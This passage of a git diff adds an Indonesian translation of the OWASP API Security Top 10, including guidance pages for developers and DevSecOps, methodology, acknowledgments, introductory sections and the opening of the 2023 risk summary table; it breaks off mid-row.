https://github.com/OWASP/ASVS/blob/master/4.0/en/0x15-V7-Error-Logging.md +[5]: https://cwe.mitre.org/data/definitions/223.html +[6]: https://cwe.mitre.org/data/definitions/778.html diff --git a/editions/2019/id/0xb0-next-devs.md b/editions/2019/id/0xb0-next-devs.md new file mode 100644 index 000000000..a3f6074ba --- /dev/null +++ b/editions/2019/id/0xb0-next-devs.md @@ -0,0 +1,31 @@ +# Apa Selanjutnya untuk Pengembang + +Tugas untuk membuat dan memelihara perangkat lunak yang aman, atau memperbaiki perangkat lunak yang ada, dapat sulit. API tidak berbeda. + +Kami yakin bahwa pendidikan dan kesadaran adalah faktor kunci untuk menulis perangkat lunak yang aman. Semua hal lain yang diperlukan untuk mencapai tujuan, bergantung pada **membangun dan menggunakan proses keamanan yang dapat diulang dan kontrol keamanan standar**. + +OWASP memiliki berbagai sumber daya gratis dan terbuka untuk mengatasi masalah keamanan sejak awal proyek. Silakan kunjungi halaman [Proyek OWASP][1] untuk daftar lengkap proyek yang tersedia. + +| | | +|-|-| +| **Pendidikan** | Anda dapat mulai membaca [materi Proyek Pendidikan OWASP][2] sesuai dengan profesi dan minat Anda. Untuk pembelajaran hands-on, kami menambahkan **crAPI** - **C**ompletely **R**idiculous **API** dalam [roadmap kami][3]. Sementara itu, Anda dapat berlatih WebAppSec menggunakan [Modul Pixi DevSlop OWASP][4], layanan WebApp dan API rentan yang bertujuan untuk mengajari pengguna cara menguji aplikasi web dan API modern untuk masalah keamanan, dan cara menulis API yang lebih aman di masa depan. Anda juga dapat menghadiri sesi pelatihan [Konferensi OWASP AppSec][5], atau [bergabung dengan chapter lokal Anda][6]. | +| **Persyaratan Keamanan** | Keamanan harus menjadi bagian dari setiap proyek sejak awal. Saat melakukan elicitation persyaratan, penting untuk mendefinisikan apa artinya "aman" untuk proyek tersebut. OWASP merekomendasikan Anda menggunakan [OWASP Application Security Verification Standard (ASVS)][7] sebagai panduan untuk menetapkan persyaratan keamanan. Jika Anda outsourcing, pertimbangkan [OWASP Secure Software Contract Annex][8], yang harus disesuaikan sesuai hukum dan peraturan setempat. | +| **Arsitektur Keamanan** | Keamanan harus tetap menjadi perhatian selama semua tahapan proyek. [OWASP Prevention Cheat Sheets][9] merupakan titik awal yang baik untuk panduan tentang cara merancang keamanan selama fase arsitektur. Di antara banyak lainnya, Anda akan menemukan [REST Security Cheat Sheet][10] dan [REST Assessment Cheat Sheet][11]. | +| **Kontrol Keamanan Standar** | Mengadopsi Kontrol Keamanan Standar mengurangi risiko memperkenalkan kelemahan keamanan saat menulis logika Anda sendiri. Meskipun fakta banyak kerangka kerja modern sekarang datang dengan kontrol efektif standar bawaan, [OWASP Proactive Controls][12] memberi Anda gambaran yang baik tentang kontrol keamanan apa yang harus Anda cari untuk dimasukkan dalam proyek Anda. OWASP juga menyediakan beberapa pustaka dan alat yang mungkin Anda anggap berharga, seperti kontrol validasi. | +| **Siklus Hidup Pengembangan Perangkat Lunak yang Aman** | Anda dapat menggunakan [OWASP Software Assurance Maturity Model (SAMM)][13] untuk meningkatkan proses saat membangun API. Beberapa proyek OWASP lainnya tersedia untuk membantu Anda selama fase pengembangan API yang berbeda misalnya, [OWASP Code Review Project][14]. | + + +[1]: https://www.owasp.org/index.php/Category:OWASP_Project +[2]: https://www.owasp.org/index.php/OWASP_Education_Material_Categorized +[3]: https://www.owasp.org/index.php/OWASP_API_Security_Project#tab=Road_Map +[4]: https://devslop.co/Home/Pixi +[5]: https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference +[6]: https://www.owasp.org/index.php/OWASP_Chapter +[7]: https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project +[8]: https://www.owasp.org/index.php/OWASP_Secure_Software_Contract_Annex +[9]: https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series +[10]: https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Security_Cheat_Sheet.md +[11]: https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Assessment_Cheat_Sheet.md +[12]: https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Proactive_Controls_2018 +[13]: https://www.owasp.org/index.php/OWASP_SAMM_Project +[14]: https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project diff --git a/editions/2019/id/0xb1-next-devsecops.md b/editions/2019/id/0xb1-next-devsecops.md new file mode 100644 index 000000000..97884ca53 --- /dev/null +++ b/editions/2019/id/0xb1-next-devsecops.md @@ -0,0 +1,25 @@ +# Apa Selanjutnya untuk DevSecOps + +Karena pentingnya dalam arsitektur aplikasi modern, membangun API yang aman sangat penting. Keamanan tidak boleh diabaikan, dan itu harus menjadi bagian dari seluruh siklus pengembangan. Pemindaian dan penetration testing setahun sekali tidak lagi cukup. + +DevSecOps harus bergabung dengan upaya pengembangan, memfasilitasi pengujian keamanan yang berkelanjutan di seluruh siklus pengembangan perangkat lunak. Tujuan mereka adalah untuk meningkatkan pipeline pengembangan dengan otomatisasi keamanan, dan tanpa berdampak pada kecepatan pengembangan. + +Jika ragu, tetap terinformasi, dan tinjau, [DevSecOps Manifesto][1] sering. + +| | | +|-|-| +| **Pahami Model Ancaman** | Prioritas pengujian berasal dari model ancaman. Jika Anda tidak memilikinya, pertimbangkan menggunakan [OWASP Application Security Verification Standard (ASVS)][2], dan [OWASP Testing Guide][3] sebagai input. Melibatkan tim pengembangan dapat membantu membuat mereka lebih sadar keamanan. | +| **Pahami SDLC** | Bergabung dengan tim pengembangan untuk lebih memahami Siklus Hidup Pengembangan Perangkat Lunak. Kontribusi Anda pada pengujian keamanan berkelanjutan harus kompatibel dengan orang, proses, dan alat. Semua orang harus setuju dengan prosesnya, sehingga tidak ada gesekan atau perlawanan yang tidak perlu. | +| **Strategi Pengujian** | Karena pekerjaan Anda tidak boleh berdampak pada kecepatan pengembangan, Anda harus bijaksana memilih teknik terbaik (sederhana, tercepat, paling akurat) untuk memverifikasi persyaratan keamanan. [OWASP Security Knowledge Framework][4] dan [OWASP Application Security Verification Standard][5] dapat menjadi sumber persyaratan keamanan fungsional dan non-fungsional yang hebat. Ada sumber lain yang hebat untuk [proyek][6] dan [alat][7] serupa dengan yang ditawarkan oleh [komunitas DevSecOps][8]. | +| **Meraih Cakupan dan Akurasi** | Anda adalah jembatan antara tim pengembang dan operasi. Untuk mencapai cakupan, Anda tidak hanya harus fokus pada fungsionalitas, tetapi juga orkestrasi. Bekerja dekat dengan tim pengembangan dan operasi dari awal sehingga Anda dapat mengoptimalkan waktu dan upaya Anda. Anda harus menargetkan keadaan di mana keamanan esensial diverifikasi secara berkelanjutan. | +| **Komunikasikan Temuan dengan Jelas** | Berikan nilai dengan sedikit atau tanpa gesekan. Kirim temuan tepat waktu, dalam alat yang digunakan tim pengembangan (bukan file PDF). Bergabung dengan tim pengembangan untuk menangani temuan. Manfaatkan kesempatan untuk mendidik mereka, menjelaskan kelemahan dan bagaimana dapat disalahgunakan, termasuk skenario serangan untuk membuatnya nyata. | + +[1]: https://www.devsecops.org/ +[2]: https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project +[3]: https://www.owasp.org/index.php/OWASP_Testing_Project +[4]: https://www.owasp.org/index.php/OWASP_Security_Knowledge_Framework +[5]: https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project +[6]: http://devsecops.github.io/ +[7]: https://github.com/devsecops/awesome-devsecops +[8]: http://devsecops.org + diff --git a/editions/2019/id/0xd0-about-data.md b/editions/2019/id/0xd0-about-data.md new file mode 100644 index 000000000..c040d9f03 --- /dev/null +++ b/editions/2019/id/0xd0-about-data.md @@ -0,0 +1,23 @@ +# Metodologi dan Data + +## Ikhtisar + +Karena industri AppSec belum secara khusus difokuskan pada arsitektur aplikasi paling mutakhir, di mana API memainkan peran penting, menyusun daftar sepuluh risiko keamanan API paling kritis, berdasarkan panggilan data publik, akan menjadi tugas yang sulit. Meskipun tidak ada panggilan data publik, daftar Top 10 yang dihasilkan masih didasarkan pada data yang tersedia untuk publik, kontribusi pakar keamanan, dan diskusi terbuka dengan komunitas keamanan. + +## Metodologi + +Pada fase pertama, data publik tentang insiden keamanan API dikumpulkan, ditinjau, dan dikategorikan oleh sekelompok pakar keamanan. Data tersebut dikumpulkan dari platform bug bounty dan basis data kerentanan, dalam rentang waktu satu tahun. Itu digunakan untuk tujuan statistik. + +Pada fase berikutnya, praktisi keamanan dengan pengalaman penetration testing diminta untuk menyusun daftar Top 10 mereka sendiri. + +[OWASP Risk Rating Methodology][1] digunakan untuk melakukan Analisis Risiko. Skor didiskusikan dan ditinjau di antara praktisi keamanan. Untuk pertimbangan mengenai hal ini, harap merujuk pada bagian [API Security Risks][2]. + +Draf pertama OWASP API Security Top 10 2019 dihasilkan dari konsensus antara hasil statistik dari fase satu, dan daftar praktisi keamanan. Draf ini kemudian diserahkan untuk penghargaan dan tinjauan oleh kelompok praktisi keamanan lainnya, dengan pengalaman yang relevan di bidang keamanan API. + +OWASP API Security Top 10 2019 pertama kali dipresentasikan dalam acara OWASP Global AppSec Tel Aviv (Mei 2019). Sejak saat itu, telah tersedia di GitHub untuk diskusi publik dan kontribusi. + +Daftar kontributor tersedia di bagian [Penghargaan][3]. + +[1]: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology +[2]: ./0x10-api-security-risks.md +[3]: ./0xd1-acknowledgments.md \ No newline at end of file diff --git a/editions/2019/id/0xd1-acknowledgments.md b/editions/2019/id/0xd1-acknowledgments.md new file mode 100644 index 000000000..b1193ba6a --- /dev/null +++ b/editions/2019/id/0xd1-acknowledgments.md @@ -0,0 +1,40 @@ +# Ucapan Terima Kasih + +## Ucapan Terima Kasih kepada Kontributor + +Kami ingin berterima kasih kepada kontributor berikut yang berkontribusi secara publik di GitHub atau melalui cara lain: + +* 007divyachawla +* Abid Khan +* Adam Fisher +* anotherik +* bkimminich +* caseysoftware +* Chris Westphal +* dsopas +* DSotnikov +* emilva +* ErezYalon +* faizzaidi +* flascelles +* Guillaume Benats +* IgorSasovets +* Inonshk +* JonnySchnittger +* jmanico +* jmdx +* Keith Casey +* kozmic +* LauraRosePorter +* Matthieu Estrade +* nathanawmk +* PauloASilva +* pentagramz +* philippederyck +* pleothaud +* r00ter +* Raj kumar +* Sagar Popat +* Stephen Gates +* thomaskonrad +* xycloops123 \ No newline at end of file diff --git a/editions/2019/id/dist/owasp-api-security-top-10.odt b/editions/2019/id/dist/owasp-api-security-top-10.odt new file mode 100644 index 000000000..211d328b3 Binary files /dev/null and b/editions/2019/id/dist/owasp-api-security-top-10.odt differ diff --git a/editions/2019/id/dist/owasp-api-security-top-10.pdf b/editions/2019/id/dist/owasp-api-security-top-10.pdf new file mode 100644 index 000000000..db762b080 Binary files /dev/null and b/editions/2019/id/dist/owasp-api-security-top-10.pdf differ diff --git a/editions/2019/id/images/cover.jpg b/editions/2019/id/images/cover.jpg new file mode 100644 index 000000000..5ef93f221 Binary files /dev/null and b/editions/2019/id/images/cover.jpg differ diff --git a/editions/2019/id/images/front-cc.png b/editions/2019/id/images/front-cc.png new file mode 100644 index 000000000..45f139804 Binary files /dev/null and b/editions/2019/id/images/front-cc.png differ diff --git a/editions/2019/id/images/front-wasp.png b/editions/2019/id/images/front-wasp.png new file mode 100644 index 000000000..5a163dd4b Binary files /dev/null and b/editions/2019/id/images/front-wasp.png differ diff --git a/editions/2019/id/images/license.png b/editions/2019/id/images/license.png new file mode 100644 index 000000000..124d3ba4d Binary files /dev/null and b/editions/2019/id/images/license.png differ diff --git a/editions/2019/id/images/owasp-logo.png b/editions/2019/id/images/owasp-logo.png new file mode 100644 index 000000000..caeb47bdf Binary files /dev/null and b/editions/2019/id/images/owasp-logo.png differ diff --git a/editions/2019/mkdocs.yml b/editions/2019/mkdocs.yml index d78a30bd6..5216b4969 100644 --- a/editions/2019/mkdocs.yml +++ b/editions/2019/mkdocs.yml @@ -5,6 +5,8 @@ extra: alternate: - name: Arabic lang: ar + - name: Bahasa (Indonesian) + lang: id - name: German lang: de - name: English diff --git a/editions/2023/id/0x00-header.md b/editions/2023/id/0x00-header.md new file mode 100644 index 000000000..d317ecadf --- /dev/null +++ b/editions/2023/id/0x00-header.md @@ -0,0 +1,14 @@ +--- +title: '' +description: OWASP API Security Top 10 edisi 2023 +--- + +![OWASP LOGO](images/cover.jpg) + +| | | | +| - | - | - | +| https://owasp.org | Karya ini dilisensikan di bawah [Creative Commons Attribution-ShareAlike 4.0 International License][1] | ![Creative Commons License Logo](images/front-cc.png) | + +[1]: http://creativecommons.org/licenses/by-sa/4.0/ + + diff --git a/editions/2023/id/0x00-notice.md b/editions/2023/id/0x00-notice.md new file mode 100644 index 000000000..7cd7e2431 --- /dev/null +++ b/editions/2023/id/0x00-notice.md @@ -0,0 +1,11 @@ +# Pemberitahuan + +Ini adalah versi teks dari OWASP API Security Top 10, digunakan sebagai sumber untuk semua versi resmi dokumen ini seperti situs web. + +Kontribusi terhadap proyek seperti komentar, koreksi, atau terjemahan harus dilakukan di sini. Untuk perincian tentang [Cara Berkontribusi][1], harap mengacu pada [CONTRIBUTING.md][1]. + +* Erez Yallon +* Inon Shkedy +* Paulo Silva + +[1]: ../../../CONTRIBUTING.md \ No newline at end of file diff --git a/editions/2023/id/0x00-toc.md b/editions/2023/id/0x00-toc.md new file mode 100644 index 000000000..98a0fcb7b --- /dev/null +++ b/editions/2023/id/0x00-toc.md @@ -0,0 +1,23 @@ +# Daftar Isi + +* [Daftar Isi](0x00-toc.md) +* [Tentang OWASP](0x01-about-owasp.md) +* [Kata Pengantar](0x02-foreword.md) +* [Pendahuluan](0x03-introduction.md) +* [Catatan Rilis](0x04-release-notes.md) +* [Risiko Keamanan API](0x10-api-security-risks.md) +* [OWASP Top 10 Risiko Keamanan API - 2023](0x11-t10.md) +* [API1:2023 Kerusakan Otorisasi Tingkat Obyek](0xa1-broken-object-level-authorization.md) +* [API2:2023 Kerusakan Otentikasi](0xa2-broken-authentication.md) +* [API3:2023 Kerusakan Otorisasi Tingkat Properti Obyek](0xa3-broken-object-property-level-authorization.md) +* [API4:2023 Konsumsi Sumber Daya yang Tidak Dibatasi](0xa4-unrestricted-resource-consumption.md) +* [API5:2023 Kerusakan Otorisasi Tingkat Fungsi](0xa5-broken-function-level-authorization.md) +* [API6:2023 Akses Tanpa Batas ke Aliran Bisnis Sensitif](0xa6-unrestricted-access-to-sensitive-business-flows.md) +* [API7:2023 Pemalsuan Permintaan Sisi Server](0xa7-server-side-request-forgery.md) +* [API8:2023 Kesalahan Konfigurasi Keamanan](0xa8-security-misconfiguration.md) +* [API9:2023 Manajemen Inventaris yang Tidak Tepat](0xa9-improper-inventory-management.md) +* [API10:2023 Konsumsi API yang Tidak Aman](0xaa-unsafe-consumption-of-apis.md) +* [Apa Selanjutnya untuk Pengembang](0xb0-next-devs.md) +* [Apa Selanjutnya untuk DevSecOps](0xb1-next-devsecops.md) +* [Metodologi dan Data](0xd0-about-data.md) +* [Ucapan Terima Kasih](0xd1-acknowledgments.md) diff --git a/editions/2023/id/0x01-about-owasp.md b/editions/2023/id/0x01-about-owasp.md new file mode 100644 index 000000000..3234831d0 --- /dev/null +++ b/editions/2023/id/0x01-about-owasp.md @@ -0,0 +1,44 @@ +# Tentang OWASP + +Open Worldwide Application Security Project (OWASP) adalah komunitas terbuka yang didedikasikan untuk memungkinkan organisasi mengembangkan, membeli, dan memelihara aplikasi dan API yang dapat dipercaya. + +Di OWASP, Anda akan menemukan gratis dan terbuka: + +* Alat dan standar keamanan aplikasi. +* Buku lengkap tentang pengujian keamanan aplikasi, pengembangan kode yang aman, dan tinjauan kode yang aman. +* Presentasi dan [video][1]. +* [Cheat sheet][2] berbagai topik umum. +* Kendali dan pustaka keamanan standar. +* [Chapter lokal di seluruh dunia][3]. +* Penelitian mutakhir. +* [Beragam konferensi di seluruh dunia][4]. +* [Mailing list][5] ([arsip][6]). + +Pelajari lebih lanjut di: [https://www.owasp.org][7]. + +Semua alat, dokumen, video, presentasi, dan chapter OWASP gratis dan terbuka bagi siapa pun yang tertarik dalam meningkatkan keamanan aplikasi. + +Kami menganjurkan melihat keamanan aplikasi sebagai masalah orang, proses, dan teknologi, karena pendekatan paling efektif terhadap keamanan aplikasi membutuhkan peningkatan di area ini. + +OWASP adalah organisasi jenis baru. Kebebasan kami dari tekanan komersial memungkinkan kami untuk memberikan informasi praktis, tidak bias, dan hemat biaya tentang keamanan aplikasi. + +OWASP tidak berafiliasi dengan perusahaan teknologi mana pun, meskipun kami mendukung penggunaan teknologi keamanan komersial yang terinformasi. OWASP memproduksi banyak jenis materi dengan cara kolaboratif, transparan, dan terbuka. + +Yayasan OWASP adalah entitas nirlaba yang memastikan keberhasilan jangka panjang proyek. Hampir semua orang yang terkait dengan OWASP adalah relawan, termasuk dewan OWASP, pemimpin chapter, pemimpin proyek, dan anggota proyek. Kami mendukung penelitian keamanan inovatif dengan hibah dan infrastruktur. + +Bergabunglah dengan kami! + +## Hak Cipta dan Lisensi + +![license](images/license.png) + +Hak Cipta © 2003-2023 Yayasan OWASP. Dokumen ini dirilis di bawah [Creative Commons Attribution Share-Alike 4.0 license][8]. Untuk setiap penggunaan kembali atau distribusi, Anda harus menjelaskan kepada orang lain ketentuan lisensi karya ini. + +[1]: https://www.youtube.com/user/OWASPGLOBAL +[2]: https://cheatsheetseries.owasp.org/ +[3]: https://owasp.org/chapters/ +[4]: https://owasp.org/events/ +[5]: https://groups.google.com/a/owasp.org/forum/#!overview +[6]: https://lists.owasp.org/mailman/listinfo +[7]: https://www.owasp.org +[8]: http://creativecommons.org/licenses/by-sa/4.0/ \ No newline at end of file diff --git a/editions/2023/id/0x02-foreword.md b/editions/2023/id/0x02-foreword.md new file mode 100644 index 000000000..89863e67b --- /dev/null +++ b/editions/2023/id/0x02-foreword.md @@ -0,0 +1,26 @@ +# Kata Pengantar + +Elemen inovasi dasar di dunia yang digerakkan aplikasi hari ini adalah Application Programming Interface (API). Dari bank, ritel, dan transportasi hingga IoT, kendaraan otonom, dan kota pintar, API merupakan bagian penting dari aplikasi seluler, SaaS, dan web aplikasi dan dapat ditemukan dalam aplikasi untuk pelanggan, mitra, dan internal. + +Berdasarkan sifatnya, API mengekspos logika aplikasi dan data sensitif seperti Informasi Pribadi yang Dapat Diidentifikasi (PII) dan karena ini, API semakin menjadi target para penyerang. Tanpa API yang aman, inovasi cepat akan menjadi mustahil. + +Meskipun masih dapat menggunakan Top 10 risiko keamanan aplikasi web yang lebih luas, namun karena sifat khususnya, dibutuhkan daftar risiko keamanan API yang spesifik. Keamanan API berfokus pada strategi dan solusi untuk memahami dan memitigasi kerentanan unik dan risiko keamanan yang terkait dengan API. + +Jika Anda sudah akrab dengan [Proyek OWASP Top 10][1], maka Anda akan melihat kesamaan di antara kedua dokumen: mereka ditujukan agar mudah dibaca dan diadopsi. Jika anda baru mengenal seri OWASP Top 10, anda mungkin lebih baik membaca bagian [Risiko Keamanan API][2] dan [Metodologi dan Data][3] sebelum melompat ke daftar Top 10. + +Anda dapat berkontribusi pada OWASP API Security Top 10 dengan pertanyaan, komentar, dan ide Anda di repositori proyek GitHub kami: + +* https://owasp.org/www-project-api-security/ +* https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md + +Anda dapat menemukan OWASP API Security Top 10 di sini: + +* https://owasp.org/www-project-api-security/ +* https://github.com/OWASP/API-Security + +Kami ingin berterima kasih kepada semua kontributor yang membuat proyek ini terwujud dengan upaya dan kontribusi mereka. Mereka semua tercantum di bagian [Ucapan Terima Kasih][4]. Terima kasih! + +[1]: https://owasp.org/www-project-top-ten/ +[2]: ./0x10-api-security-risks.md +[3]: ./0xd0-about-data.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2023/id/0x03-introduction.md b/editions/2023/id/0x03-introduction.md new file mode 100644 index 000000000..1c7a21929 --- /dev/null +++ b/editions/2023/id/0x03-introduction.md @@ -0,0 +1,47 @@ +# Perkenalan + +## Selamat Datang di OWASP API Security Top 10 - 2023! + +Selamat datang di edisi kedua OWASP API Security Top 10! + +Dokumen ini pertama kali dipublikasikan pada tahun 2019. Sejak saat itu, industri keamanan API berkembang dan menjadi lebih dewasa. Kami sungguh percaya bahwa usaha ini telah berkontribusi positif terhadap hal itu, karena telah diadopsi secara cepat sebagai referensi industri. + +API memainkan peranan penting di dalam arsitektur aplikasi modern. Namun karena inovasi memiliki kecepatan yang berbeda dibanding membuat kesadaran keamanan, kami percaya adalah penting untuk fokus menciptakan kesadaran atas kelemahan-kelemahan keamanan API umum. + +Tujuan utama OWASP API Security Top 10 adalah mendidik mereka yang terlibat dalam pengembangan dan pengelolaan API, sebagai contoh, para pengembang, desainer, arsitek, manajer atau organisasi. Anda dapat mengetahui lebih lanjut tentang API Security +Project dengan mengunjungi [halaman proyek][1]. + +Jika anda tidak mengenal seri OWASP top 10, kami merekomendasikan anda untuk memeriksa beberapa proyek top 10 berikut ini: + +* [OWASP Cloud-Native Application Security Top 10][2] +* [OWASP Desktop App Security Top 10][3] +* [OWASP Docker Top 10][4] +* [OWASP Low-Code/No-Code Top 10][5] +* [OWASP Machine Learning Security Top Ten][6] +* [OWASP Mobile Top 10][7] +* [OWASP TOP 10][8] +* [OWASP Top 10 CI/CD Security Risks][9] +* [OWASP Top 10 Client-Side Security Risks][10] +* [OWASP Top 10 Privacy Risks][11] +* [OWASP Serverless Top 10][12] + +Tidak ada proyek yang menggantikan satu dengan lainnya: jika anda bekerja dengan aplikasi mobile yang didukung oleh API back-end, anda sebaiknya membaca kedua top 10 yang terkait. Hal yang sama juga berlaku bila anda bekerja dengan aplikasi web atau desktop yang menggunakan API. + +Dalam bab [Metodologi dan Data][13], anda dapat membaca lebih lanjut bagaimana edisi ini dibuat. Untuk saat ini, kami menganjurkan setiap orang untuk berkontribusi dengan pertanyaan, komentar, dan ide Anda di repositori proyek GitHub kami [repositori GitHub][14] or +[Mailing list][15]. + +[1]: https://owasp.org/www-project-api-security/ +[2]: https://owasp.org/www-project-cloud-native-application-security-top-10/ +[3]: https://owasp.org/www-project-desktop-app-security-top-10/ +[4]: https://owasp.org/www-project-docker-top-10/ +[5]: https://owasp.org/www-project-top-10-low-code-no-code-security-risks/ +[6]: https://owasp.org/www-project-machine-learning-security-top-10/ +[7]: https://owasp.org/www-project-mobile-top-10/ +[8]: https://owasp.org/www-project-top-ten/ +[9]: https://owasp.org/www-project-top-10-ci-cd-security-risks/ +[10]: https://owasp.org/www-project-top-10-client-side-security-risks/ +[11]: https://owasp.org/www-project-top-10-privacy-risks/ +[12]: https://owasp.org/www-project-serverless-top-10/ +[13]: ./0xd0-about-data.md +[14]: https://github.com/OWASP/API-Security +[15]: https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project diff --git a/editions/2023/id/0x04-release-notes.md b/editions/2023/id/0x04-release-notes.md new file mode 100644 index 000000000..e7cafa085 --- /dev/null +++ b/editions/2023/id/0x04-release-notes.md @@ -0,0 +1,26 @@ +# Catatan Rilis + +Ini adalah edisi kedua OWASP API Security Top 10, tepat empat tahun setelah rilis pertama. Banyak perubahan terjadi dalam area keamanan API. Lalu lintas API meningkat dalam fase yang cepat, beberapa protokol API mendapatkan banyak daya tarik, berbagai solusi/vendor keamanan API telah bermunculan, dan tentu saja, para penyerang telah mengembangkan kemampuan dan teknik baru untuk menyerang API. Sudah saatnya untuk memperbarui daftar sepuluh risiko paling kritis keamanan API. + +Dengan semakin matangnya industri keamanan API, untuk pertama kalinya, ada [panggilan publik untuk data][1]. Namun sayangnya, tidak ada data yang dikontribusikan, namun berdasarkan pengalaman tim proyek, tinjauan cermat spesialis keamanan API, dan masukan dari komunitas, kami membuat daftar baru ini. Dalam bagian +[Metodologi dan Data][2], anda akan menemukan informasi rinci mengenai bagaimana versi ini dikembangkan. Informasi lebih rinci mengenai risiko keamanan silakan mengacu ke bagian +[Risiko Keamanan API][3]. + +OWASP API Security Top 10 2023 adalah dokumen kesadaran berwawasan ke depan untuk industri yang berkembang cepat. Dokumen ini tidak menggantikan TOP 10 lainnya. Dalam edisi ini: + +* Kami telah menggabungkan Paparan Data Berlebihan dan Penugasan Massal dengan berfokus pada akar masalah yang sama: kegagalan validasi otorisasi tingkat properti obyek. +* Kami lebih menekankan pada konsumsi sumber daya, daripada berfokus pada kecepatan mereka dihabiskan. +* Kami telah membuat kategori baru "Akses Tanpa Batas ke Aliran Bisnis Sensitif" untuk mengatasi ancaman baru, termasuk ancaman yang dapat dimitigasi dengan menggunakan pembatasan. +* Kami menambahkan "Konsumsi API yang Tidak Aman" untuk mengatasi sesuatu hal yang mulai kami jumpai: penyerang telah mulai menyasar layanan integrasi target, alih-alih menyerang API target secara langsung. Saat ini adalah saat yang tepat untuk mulai membuat kesadaran atas meningkatnya risiko ini. + +API memainkan peranan penting dalam arsitektur mikroservice modern, Single Page Applications (SPA), aplikasi mobile, IoT, dsb. OWASP API Security +Top 10 adalah upaya yang dibutuhkan untuk menciptakan kesadaran mengenai isu-isu keamanan API modern. + +Pembaruan ini hanya dimungkinkan berkat usaha besar beberapa sukarelawan yang tercantum dalam bagian [Ucapan Terima Kasih][4] section. + +Thank you! + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: ./0xd0-about-data.md +[3]: ./0x10-api-security-risks.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2023/id/0x10-api-security-risks.md b/editions/2023/id/0x10-api-security-risks.md new file mode 100644 index 000000000..f749e18d3 --- /dev/null +++ b/editions/2023/id/0x10-api-security-risks.md @@ -0,0 +1,39 @@ +# Risiko Keamanan API + +[Metodologi Pemeringkatan Risiko OWASP][1] digunakan untuk melakukan analisis risiko. + +Tabel berikut merangkum istilah yang diasosiasikan dengan nilai risiko. + +| Agen Ancaman | Eksploitasi | Prevalensi Kelemahan | Deteksi Kelemahan | Dampak Teknikal | Dampak Bisnis | +| :-: | :-: | :-: | :-: | :-: | :-: | +| Spesifik API | Mudah : **3** | Tersebar luas **3** | Mudah **3** | Severe **3** | Spesifik Bisnis | +| Spesifik API | Menengah: **2** | Umum **2** | Menengah **2** | Sedang **2** | Spesifik Bisnis | +| Spesifik API | Sukar: **1** | Sukar **1** | Sukar **1** | Minor **1** | Spesifik Bisnis | + +**Catatan**: Pendekatan ini tidak mempertimbangkan kemungkinan agen ancaman, dan juga tidak mempertimbangkan berbagai rincian teknikal yang terkait dengan aplikasi anda. Semua faktor ini dapat secara signifikan mempengaruhi kemungkinan penyerang menemukan dan mengeksploitasi kerentanan tertentu. Pemeringkatan ini tidak mempertimbangkan dampak aktual terhadap bisnis anda. Organisasi anda perlu menentukan tingkat risiko keamanan aplikasi dan API yang dapat diterima berdasarkan budaya, industri, dan lingkungan regulasi anda. OWASP API Security Top +10 tidak bertujuan melakukan risiko analisis ini untuk anda. Oleh karena edisi ini bukan berdasarkan data, namun berdasarkan konsensus umum di antara anggota tim. + +## Referensi + +### OWASP + +* [Metodologi Pemeringkatan Risiko OWASP][1] +* [Artikel tentang Pemodelan Ancaman/Risiko][2] + +### Eksternal + +* [ISO 31000: Risk Management Std][3] +* [ISO 27001: ISMS][4] +* [NIST Cyber Framework (US)][5] +* [ASD Strategic Mitigations (AU)][6] +* [NIST CVSS 3.0][7] +* [Microsoft Threat Modeling Tool][8] + +[1]: https://owasp.org/www-project-risk-assessment-framework/ +[2]: https://owasp.org/www-community/Threat_Modeling +[3]: https://www.iso.org/iso-31000-risk-management.html +[4]: https://www.iso.org/isoiec-27001-information-security.html +[5]: https://www.nist.gov/cyberframework +[6]: https://www.asd.gov.au/infosec/mitigationstrategies.htm +[7]: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator +[8]: https://www.microsoft.com/en-us/download/details.aspx?id=49168 diff --git a/editions/2023/id/0x11-t10.md b/editions/2023/id/0x11-t10.md new file mode 100644 index 000000000..94a7b8ec6 --- /dev/null +++ b/editions/2023/id/0x11-t10.md @@ -0,0 +1,28 @@ +# OWASP Top 10 Risiko Keamanan API – 2023 + +| Risiko | Keterangan | +| ---- | ----------- | +| [API1:2023 - Otorisasi Level Objek yang Rusak][api1] | API cenderung memaparkan titik akhir yang menangani pengenal obyek, hal ini menciptakan sebuah permukaan serangan yang luas atas Kendali Akses Tingkat Obyek. Pemeriksaan otorisasi tingkat obyek perlu dipertimbangkan di setiap fungsi yang mengakses sumber data menggunakan ID pengguna. | +| [API2:2023 - Otentikasi yang Rusak][api2] | Mekanisme otentikasi seringkali tidak diimplementasikan dengan tepat, hal ini memungkinkan penyerang untuk mengambil token otentikasi atau mengeksploitasi celah implementasi untuk mengambil identitas user lain secara sementara atau permanen. Membahayakan kemampuan sistem untuk mengeidentifikasi klien/pengguna, membahayakan keseluruhan keamanan API. | +| [API3:2023 - Otorisasi Tingkat Properti Objek yang Rusak][api3] | Kategori ini menggabungkan [API3:2019 Pengungkapan Data Berlebihan][1] dan [API6:2019 - Penugasan Massal][2], berfokus pada akar masalah: tidak adanya atau tidak tepatnya validasi otorisasi pada tingkat properti obyek. Hal ini berakibat pengungkapan atau manipulasi informasi oleh pihak yang tidak berwenang. | +| [API4:2023 - Konsumsi Sumber Daya yang Tidak Terbatas][api4] | Pemenuhan permintaan API membutuhkan sumber daya seperti lebar pita jaringan, CPU, memori, dan penyimpanan. Sumber daya lain seperti email/SMS/panggilan telpon atau validasi biometrik disediakan oleh para penyelenggara melalui integrasi API, dan dibayar berdasarkan jumlah permintaan. Serangan yang berhasil dapat menyebabkan Denial of Service atau meningkatnya biaya operasional. | +| [API5:2023 - Otorisasi Tingkat Fungsi yang Rusak][api5] | Kebijakan kendali akses yang kompleks dengan hierarki, kelompok, dan peran yang berbeda, serta tidak jelasnya pemisahan fungsi administratif dan reguler, 